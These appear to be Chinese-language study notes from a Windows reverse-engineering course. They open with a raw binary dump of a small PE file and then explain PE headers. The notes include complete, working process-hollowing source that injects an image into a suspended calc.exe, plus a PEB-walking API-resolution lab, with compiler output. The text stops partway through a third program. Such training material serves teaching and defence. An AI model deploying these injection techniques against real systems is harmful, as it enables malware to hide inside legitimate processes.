0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00(0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00L0\x00\x0000\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x0080\x00\x00\x00\x00\x00\x0080\x00\x00\x00\x00\x00\x00M\x02MessageBoxA\x00\x00\x00\x000\x00\x00USER32.dll\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x10\x00\x00\x00\x120\x1a0&0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.file\x00\x00\x00\n\x00\x00\x00\xfe\xff\x00\x00g\x01msgbox.cpp\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x00\x00\x00\x00\x01\x00 \x00\x02\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x03\x012\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.rdata\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x03\x01!\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x11\x00\x00\x00$\x00\x00\x00\x02\x00\x00\x00\x03\x01\x16\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.file\x00\x00\x00\x14\x00\x00\x00\xfe\xff\x00\x00g\x01fake\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00hname\x00\x00\x00(\x00\x00\x00\x03\x00\x00\x00\x03\x00fthunk\x00\x000\x00\x00\x00\x03\x00\x00\x00\x03\x00.text\x00\x00\x004\x00\x00\x00\x01\x00\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$2\x00\x00\x00\x00\x03\x00\x00\x00\x03\x01\x14\x00\x00\x00\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$4(\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$50\x00\x00\x00\x03\x00\x00\x00\x03\x00.file\x00\x00\x00%\x00\x00\x00\xfe\xff\x00\x00g\x01fake\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x004\x00\x00\x00\x01\x00\x00\x00\x03\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$4,\x00\x00\x00\x03\x00\x00\x00\x03\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$54\x00\x00\x00\x03\x00\x00\x00\x03\x01\x04\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.idata$7L\x00\x00\x00\x03\x00\x00\x00\x03\x01\x0b\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00.text\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00.data\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00.bss\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x03\x00.idata$7H\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$50\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$4(\x00\x00\x00\x03\x00\x00\x00\x03\x00.idata$68\x00\x00\x00\x03\x00\x00\x00\x03\x00\x00\x00\x00\x00\x1c\x00\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00;\x00\x00\x00\x00\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00T\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00c\x00\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00r\x00\x00\x00L\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\x8c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00__xl_f\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x9b\x00\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\xaf\x00\x00\x00@\x01\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xc7\x00\x00\x00\x00\x10\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xe0\x00\x00\x00\x00\x00 \x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xfa\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x16\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00(\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00:\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00J\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00X\x01\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00{\x01\x00\x00\x00\x10\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x93\x01\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xa3\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\xb5\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00__dll__\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xc5\x01\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xda\x01\x00\x00\x00\x00@\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xe9\x01\x00\x00\x00\x10\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xff\x01\x00\x008\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\x0b\x02\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00)\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x006\x02\x00\x004\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00D\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00P\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00`\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00r\x02\x00\x004\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\x81\x02\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x94\x02\x00\x000\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x00\x00\xaa\x02\x00\x00\x00\x02\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xbd\x02\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xd2\x02\x00\x000\x00\x00\x00\x03\x00\x00\x00\x02\x00__end__\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\xe0\x02\x00\x00<\x00\x00\x00\x01\x00\x00\x00\x02\x00\x00\x00\x00\x00\xee\x02\x00\x00\x00\x00\x10\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x07\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x19\x03\x00\x00\x00\x00@\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00&\x03\x00\x00\x03\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x004\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00A\x03\x00\x00\x01\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00Y\x03\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00j\x03\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00myEntry\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00|\x03\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\x98\x03\x00\x00\x00\x00\x00\x00\xff\xff\x00\x00\x02\x00\x00\x00\x00\x00\xb0\x03\x00\x00<\x00\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00\x00\x00\xd2\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x02\x00\xe2\x03\x00\x00__Z7myEntryv\x00.rdata$zzz\x00___RUNTIME_PSEUDO_RELOC_LIST__\x00__head_lib32_libuser32_a\x00__data_start__\x00___DTOR_LIST__\x00__lib32_libuser32_a_iname\x00___tls_start__\x00__rt_psrelocs_start\x00__dll_characteristics__\x00__size_of_stack_commit__\x00__size_of_stack_reserve__\x00__major_subsystem_version__\x00___crt_xl_start__\x00___crt_xi_start__\x00___crt_xi_end__\x00__bss_start__\x00___RUNTIME_PSEUDO_RELOC_LIST_END__\x00__size_of_heap_commit__\x00_MessageBoxA@16\x00___crt_xp_start__\x00___crt_xp_end__\x00__minor_os_version__\x00__image_base__\x00__section_alignment__\x00__IAT_end__\x00__RUNTIME_PSEUDO_RELOC_LIST__\x00__data_end__\x00__CTOR_LIST__\x00__bss_end__\x00___crt_xc_end__\x00___crt_xc_start__\x00___CTOR_LIST__\x00__rt_psrelocs_size\x00__imp__MessageBoxA@16\x00__file_alignment__\x00__major_os_version__\x00__IAT_start__\x00__DTOR_LIST__\x00__size_of_heap_reserve__\x00___crt_xt_start__\x00___ImageBase\x00__subsystem__\x00___tls_end__\x00__major_image_version__\x00__loader_flags__\x00__rt_psrelocs_end\x00__minor_subsystem_version__\x00__minor_image_version__\x00__RUNTIME_PSEUDO_RELOC_LIST_END__\x00___crt_xt_end__\x00
上圖(圖1)只有PointerToRawData跟VirtualAddress重要
圖2:
以下的程式碼實際應用了上圖的概念,使得惡意程式可注入windows內建計算機
比如說
SectionHeader = &PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(IMAGE_NT_HEADERS))[count];
可以看得出來是幾個header(text、data、idata)乘上每一個的大小。
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
上一行,NtHeader除了現代程式用的NT header外,還有DOS header,所以也沒錯。
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
CREATE_SUSPEND可以創建 (blackhat 2013)把小算盤叫出來
file mapping 檔案映射
把靜態程式碼掛到動態記憶體
白話:
從硬碟裡的哪一個地方,寫到記憶體的哪一個地方?
NT Headers的opt header 程式執行起來必備的資訊
ex:
想被擺的記憶體位置(ImageBase 通常是0x400000或0x800000)
整塊程式要擺多大SizeOfImage(text + data + idata)
NT Headers的file header 紀錄幾個section
檔案映射的濫用: processHollowing.cpp
可以注入windows的小算盤,彈出駭客寫的視窗,以下示意圖:
程式碼:
// processHollowing.cpp : 此檔案包含 'main' 函式。程式會於該處開始執行及結束執行。
//
#include <iostream>
#include <Windows.h>
int RunPortableExecutable(void* Image)
{
IMAGE_DOS_HEADER* DOSHeader; // For Nt DOS Header symbols
IMAGE_NT_HEADERS* NtHeader; // For Nt PE Header objects & symbols
IMAGE_SECTION_HEADER* SectionHeader;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
CONTEXT* CTX;
DWORD* ImageBase; //Base address of the image
void* pImageBase; // Pointer to the image base
int count;
char CurrentFilePath[1024] = "C:\\Windows\\SysWOW64\\calc.exe";
DOSHeader = (IMAGE_DOS_HEADER*)(Image); // Initialize Variable
NtHeader = PIMAGE_NT_HEADERS(DWORD(Image) + DOSHeader->e_lfanew); // Initialize
if (NtHeader->Signature == IMAGE_NT_SIGNATURE) // Check if image is a PE File.
{
ZeroMemory(&PI, sizeof(PI)); // Null the memory
ZeroMemory(&SI, sizeof(SI)); // Null the memory
if (CreateProcessA(CurrentFilePath, NULL, NULL, NULL, FALSE,
CREATE_SUSPENDED, NULL, NULL, &SI, &PI)) // Create a new instance of current
//process in suspended state, for the new image.
{
// Allocate memory for the context.
CTX = LPCONTEXT(VirtualAlloc(NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE));
CTX->ContextFlags = CONTEXT_FULL; // Context is allocated
if (GetThreadContext(PI.hThread, LPCONTEXT(CTX))) //if context is in thread
{
// Read instructions
ReadProcessMemory(PI.hProcess, LPCVOID(CTX->Ebx + 8), LPVOID(&ImageBase), 4, 0);
//HMODULE dll = LoadLibraryA("ntdll.dll");
((int(WINAPI*)(HANDLE, PVOID))GetProcAddress(LoadLibraryA("ntdll.dll"), "NtUnmapViewOfSection"))(PI.hProcess, (LPVOID)NtHeader->OptionalHeader.ImageBase);
pImageBase = VirtualAllocEx(PI.hProcess, LPVOID(NtHeader->OptionalHeader.ImageBase),
NtHeader->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);
if (pImageBase == 0) {
TerminateProcess(PI.hProcess, 0);
return 0;
}
// Write the image to the process
WriteProcessMemory(PI.hProcess, pImageBase, Image, NtHeader->OptionalHeader.SizeOfHeaders, NULL);
for (count = 0; count < NtHeader->FileHeader.NumberOfSections; count++)
{
SectionHeader = &PIMAGE_SECTION_HEADER((size_t)NtHeader + sizeof(IMAGE_NT_HEADERS))[count];
WriteProcessMemory(PI.hProcess, LPVOID(DWORD(pImageBase) + SectionHeader->VirtualAddress),
LPVOID(DWORD(Image) + SectionHeader->PointerToRawData), SectionHeader->SizeOfRawData, 0);
}
WriteProcessMemory(PI.hProcess, LPVOID(CTX->Ebx + 8), PVOID(&NtHeader->OptionalHeader.ImageBase), 4, 0);
// Move address of entry point to the eax register
CTX->Eax = DWORD(pImageBase) + NtHeader->OptionalHeader.AddressOfEntryPoint;
SetThreadContext(PI.hThread, LPCONTEXT(CTX)); // Set the context
ResumeThread(PI.hThread); //´Start the process/call main()
return 0; // Operation was successful.
}
}
}
}
#pragma warning(disable:4996)
BYTE* MapFileToMemory(const char filename[])
{
FILE *fileptr;
BYTE *buffer;
fileptr = fopen(filename, "rb"); // Open the file in binary mode
fseek(fileptr, 0, SEEK_END); // Jump to the end of the file
long filelen = ftell(fileptr); // Get the current byte offset in the file
rewind(fileptr); // Jump back to the beginning of the file
buffer = (BYTE *)malloc((filelen + 1) * sizeof(char)); // Enough memory for file + \0
fread(buffer, filelen, 1, fileptr); // Read in the entire file
fclose(fileptr); // Close the file
return buffer;
}
#include <Shlwapi.h>
#pragma comment(lib, "shlwapi.lib")
int CALLBACK WinMain(
_In_ HINSTANCE hInstance,
_In_ HINSTANCE hPrevInstance,
_In_ LPSTR lpCmdLine,
_In_ int nCmdShow
)
{
char path[MAX_PATH] = { 0 };
GetModuleFileNameA(NULL, path, MAX_PATH);
if (strstr(path, "calc.exe")) {
MessageBoxA(0, "Hey, I'm into calc :)", path, 0);
return 0;
}
RunPortableExecutable(MapFileToMemory(path));
return 0;
}
x32dbg ctrl+g可尋找位置
其實PEB是double linked list。重要的是Ldr,是想載入的dll,這裡載入了ntdll.dll跟kernel32.dll。還有,sysWOW64是64位元作業系統要執行32位元程式會用到的資料夾。
C:\Windows\SysWOW64
以下Lab#1_fetchModule_byTEB.c對應上圖的概念:
/**
* Windows APT Warfare:
* A Final Survival Guide for Cyberwarfare
* by aaaddress1@chroot.org
*/
#include <stdio.h>
#include <wchar.h>
#include <windows.h>
typedef struct _PEB_LDR_DATA {
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _UNICODE_STRING32 {
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING32, *PUNICODE_STRING32;
typedef struct _PEB32
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
ULONG Mutant;
ULONG ImageBaseAddress;
PPEB_LDR_DATA Ldr;
ULONG ProcessParameters;
ULONG SubSystemData;
ULONG ProcessHeap;
ULONG FastPebLock;
ULONG AtlThunkSListPtr;
ULONG IFEOKey;
ULONG CrossProcessFlags;
ULONG UserSharedInfoPtr;
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
ULONG ApiSetMap;
} PEB32, *PPEB32;
typedef struct _PEB_LDR_DATA32
{
ULONG Length;
BOOLEAN Initialized;
ULONG SsHandle;
LIST_ENTRY32 InLoadOrderModuleList;
LIST_ENTRY32 InMemoryOrderModuleList;
LIST_ENTRY32 InInitializationOrderModuleList;
ULONG EntryInProgress;
} PEB_LDR_DATA32, *PPEB_LDR_DATA32;
typedef struct _LDR_DATA_TABLE_ENTRY32
{
LIST_ENTRY32 InLoadOrderLinks;
LIST_ENTRY32 InMemoryOrderModuleList;
LIST_ENTRY32 InInitializationOrderModuleList;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING32 FullDllName;
UNICODE_STRING32 BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY32 HashLinks;
ULONG SectionPointer;
};
ULONG CheckSum;
union
{
ULONG TimeDateStamp;
ULONG LoadedImports;
};
ULONG EntryPointActivationContext;
ULONG PatchInformation;
} LDR_DATA_TABLE_ENTRY32, *PLDR_DATA_TABLE_ENTRY32;
ULONG GetModHandle(wchar_t *libName) {
PEB32 *pPEB = (PEB32 *)__readfsdword(0x30);
PLIST_ENTRY header = &(pPEB->Ldr->InMemoryOrderModuleList);
PLIST_ENTRY curr = header->Flink;
for (; curr != header; curr = curr->Flink) {
LDR_DATA_TABLE_ENTRY32 *data = CONTAINING_RECORD(
curr, LDR_DATA_TABLE_ENTRY32, InMemoryOrderModuleList
);
printf("current node: %ls\n", data->BaseDllName.Buffer);
if (wcsstr(libName, data->BaseDllName.Buffer))
return data->DllBase;
}
}
int main(int argc, char** argv, char* envp) {
auto hMod_Kernel32 = GetModHandle(L"KERNEL32.DLL");
printf("dll base: %x\n", hMod_Kernel32);
((UINT(WINAPI*)(PCHAR, UINT))GetProcAddress(hMod_Kernel32, "WinExec"))("calc", 1);
return 0;
}
用cmder編譯並執行:
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ gcc -m32 Lab#1_fetchModule_byTEB.c
Lab#1_fetchModule_byTEB.c: In function 'main':
Lab#1_fetchModule_byTEB.c:105:7: warning: type defaults to 'int' in declaration of 'hMod_Kernel32' [-Wimplicit-int]
105 | auto hMod_Kernel32 = GetModHandle(L"KERNEL32.DLL");
| ^~~~~~~~~~~~~
Lab#1_fetchModule_byTEB.c:108:46: warning: passing argument 1 of 'GetProcAddress' makes pointer from integer without a cast [-Wint-conversion]
108 | ((UINT(WINAPI*)(PCHAR, UINT))GetProcAddress(hMod_Kernel32, "WinExec"))("calc", 1);
| ^~~~~~~~~~~~~
| |
| int
In file included from C:/TDM-GCC-64/x86_64-w64-mingw32/include/winbase.h:24,
from C:/TDM-GCC-64/x86_64-w64-mingw32/include/windows.h:70,
from Lab#1_fetchModule_byTEB.c:8:
C:/TDM-GCC-64/x86_64-w64-mingw32/include/libloaderapi.h:151:53: note: expected 'HMODULE' {aka 'struct HINSTANCE__ *'} but argument is of type 'int'
151 | WINBASEAPI FARPROC WINAPI GetProcAddress (HMODULE hModule, LPCSTR lpProcName);
| ~~~~~~~~^~~~~~~
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ ls -l
total 280
-rwxr-xr-x 1 exploit 197121 258730 四月 29 14:29 a.exe*
drwxr-xr-x 1 exploit 197121 0 四月 29 12:25 hollowing/
drwxr-xr-x 1 exploit 197121 0 四月 29 13:37 invokeInMem/
-rw-r--r-- 1 exploit 197121 2690 十月 17 2022 Lab#1_fetchModule_byTEB.c
-rw-r--r-- 1 exploit 197121 3589 十月 17 2022 Lab#2_parseDynamicAPIs.c
-rwxr-xr-x 1 exploit 197121 5686 十月 17 2022 msgbox.exe*
C:\Users\exploit\Desktop\18HR-ReversingNinja\PE Basic
λ a.exe
current node: a.exe
current node: ntdll.dll
current node: KERNEL32.DLL
dll base: 75c30000
PEB double linked list展示實例(invoke.cpp),此程式可衍伸用來寫惡意程式
#include <iostream>
#include <Windows.h>
#pragma warning(disable: 4996)
typedef struct _PEB_LDR_DATA
{
ULONG Length;
UCHAR Initialized;
PVOID SsHandle;
LIST_ENTRY InLoadOrderModuleList;
LIST_ENTRY InMemoryOrderModuleList;
LIST_ENTRY InInitializationOrderModuleList;
PVOID EntryInProgress;
} PEB_LDR_DATA, *PPEB_LDR_DATA;
typedef struct _UNICODE_STRING
{
USHORT Length;
USHORT MaximumLength;
PWSTR Buffer;
} UNICODE_STRING, *PUNICODE_STRING;
typedef struct _PEB32
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
ULONG Mutant;
ULONG ImageBaseAddress;
PPEB_LDR_DATA Ldr;
ULONG ProcessParameters;
ULONG SubSystemData;
ULONG ProcessHeap;
ULONG FastPebLock;
ULONG AtlThunkSListPtr;
ULONG IFEOKey;
ULONG CrossProcessFlags;
ULONG UserSharedInfoPtr;
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
ULONG ApiSetMap;
} PEB32, *PPEB32;
typedef struct _PEB64
{
UCHAR InheritedAddressSpace;
UCHAR ReadImageFileExecOptions;
UCHAR BeingDebugged;
UCHAR BitField;
ULONG64 Mutant;
ULONG64 ImageBaseAddress;
PPEB_LDR_DATA Ldr;
ULONG64 ProcessParameters;
ULONG64 SubSystemData;
ULONG64 ProcessHeap;
ULONG64 FastPebLock;
ULONG64 AtlThunkSListPtr;
ULONG64 IFEOKey;
ULONG64 CrossProcessFlags;
ULONG64 UserSharedInfoPtr;
ULONG SystemReserved;
ULONG AtlThunkSListPtr32;
ULONG64 ApiSetMap;
} PEB64, * PPEB64;
typedef struct _PEB_LDR_DATA32
{
ULONG Length;
BOOLEAN Initialized;
ULONG SsHandle;
LIST_ENTRY32 InLoadOrderModuleList;
LIST_ENTRY32 InMemoryOrderModuleList;
LIST_ENTRY32 InInitializationOrderModuleList;
ULONG EntryInProgress;
} PEB_LDR_DATA32, *PPEB_LDR_DATA32;
typedef struct _LDR_DATA_TABLE_ENTRY32
{
LIST_ENTRY32 InLoadOrderLinks;
LIST_ENTRY32 InMemoryOrderModuleList;
LIST_ENTRY32 InInitializationOrderModuleList;
ULONG DllBase;
ULONG EntryPoint;
ULONG SizeOfImage;
UNICODE_STRING FullDllName;
UNICODE_STRING BaseDllName;
ULONG Flags;
USHORT LoadCount;
USHORT TlsIndex;
union
{
LIST_ENTRY32 HashLinks;
ULONG SectionPointer;
};
ULONG CheckSum;
union
{
ULONG TimeDateStamp;
ULONG LoadedImports;
};
ULONG EntryPointActivationContext;
ULONG PatchInformation;
